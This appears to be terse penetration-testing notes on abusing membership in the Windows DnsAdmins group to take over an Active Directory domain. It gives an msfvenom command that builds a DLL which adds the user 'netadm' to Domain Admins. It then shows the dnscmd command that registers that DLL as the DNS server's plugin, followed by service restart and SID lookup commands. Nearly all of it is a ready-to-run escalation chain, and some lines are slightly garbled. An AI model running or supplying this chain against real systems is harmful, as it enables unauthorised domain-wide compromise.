dnscmd tool from the command lineDnsAdmins group runs the dnscmd command below, the HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\services\\DNS\\Parameters\\ServerLevelPluginDll registry key is populatedSee: https://adsecurity.org/?p=4064
msfvenom -p windows/x64/exec cmd='net group "domain admins" netadm /add /domain' -f dll -o adduser.dll
Then upload the DLL.
Configuring the custom DLL:
dnscmd.exe /config /serverlevelplugindll C:\\Users\\netadm\\Desktop\\adduser.dll
The DLL will be loaded at next DNS service restart:
sc stop dns
sc start
sc query dns
wmic useraccount where name="netadm" get sid